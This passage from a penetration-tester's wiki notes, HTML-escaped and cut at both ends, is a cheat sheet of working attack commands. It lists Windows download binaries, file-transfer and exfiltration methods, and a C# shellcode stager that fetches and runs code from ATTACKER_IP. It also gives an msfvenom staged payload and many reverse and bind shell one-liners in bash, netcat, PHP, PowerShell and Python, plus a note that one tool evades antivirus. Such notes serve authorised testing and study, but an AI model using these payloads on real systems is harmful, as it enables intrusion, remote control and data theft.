# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
